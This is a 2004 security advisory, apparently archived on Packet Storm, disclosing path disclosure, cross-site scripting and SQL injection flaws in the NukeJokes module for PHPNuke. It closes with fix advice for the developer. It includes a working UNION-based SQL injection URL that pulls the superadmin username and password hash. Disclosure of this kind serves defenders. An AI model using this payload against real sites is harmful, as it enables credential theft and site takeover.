what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

waraxe-2004-SA028.txt

waraxe-2004-SA028.txt
Posted May 9, 2004
Authored by Janek Vind aka waraxe | Site waraxe.us

The Nuke jokes module for PHPNuke is susceptible to path disclosure, cross site scripting, and SQL injection attacks.

tags | exploit, xss, sql injection
SHA-256 | 2c563bf041f397f2368286aa9f5f303cec749c7907a27ee19b36a9362644cb89

waraxe-2004-SA028.txt

Change Mirror Download




{================================================================================}
{ [waraxe-2004-SA#028] }
{================================================================================}
{ }
{ [ Multiple vulnerabilities in NukeJokes module for PhpNuke ] }
{ }
{================================================================================}

Author: Janek Vind "waraxe"
Date: 08. May 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=28


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From readme file:

"Nuke jokes is an addon for PHPNuke. It has been tested with PHPNuke 6.0. It should
work with 6.5 and some lower versions but I haven't been able to test it. Nuke Jokes
allows you to have a database of jokes on your website. Jokes are sperated into different
categories to make them easier to find. It includes the ability to rate jokes, shows
how many views they've had and other information. Also includes a search engine. The
admin area allows you to add, edit and delete jokes and categories, install and uninstall
the database and validate user added jokes."

Author: Adam Webb

Websites:

http://www.funportal.host.sk
http://funportal.beanwebb.com

I have tested two different versions of NukeJokes: v1.7 and 2 Beta. They seems to have same
security bugs.

Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Well, what to say? I was really surprised, when saw NukeJokes source code - almost ALL
sql queries are WITHOUT ANY single quotes...
Wide area to practice sql injection attacks. And most user submitted parameters are not
sanitized at all, so full path disclosure and XSS cases exists there too. In fact, NukeJokes
has so many bugs, that i'm too lazy to count them all. So i will just bring some examples...


A. Full path disclosure:

Examples:

http://localhost/nuke72/modules/NukeJokes/mainfunctions.php

http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=foobar

http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=foobar



B. Cross-site scripting aka XSS:

Examples:

http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=[xss code here]

http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=[xss code here]



C. Sql injection:

Example exploiting GET request:

http://localhost/nuke72/modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*

and we can see superadmin's username and password's md5 hash with ease. Of course, mysql
has to be 4.x with UNION functionality enabled, to successful exploiting.



Ending words to author(s) - NukeJokes is based on good ideas, but must be rewritten in secure
way! This is not such big work - just add those single quotes to any sql queries and do sanitize
variables, passed to script by client browser, to avoid cross-site scripting and path disclosure
bugs. If you want some advise from me, you can always send an email and i will help.



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to all bugtraq readers in Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close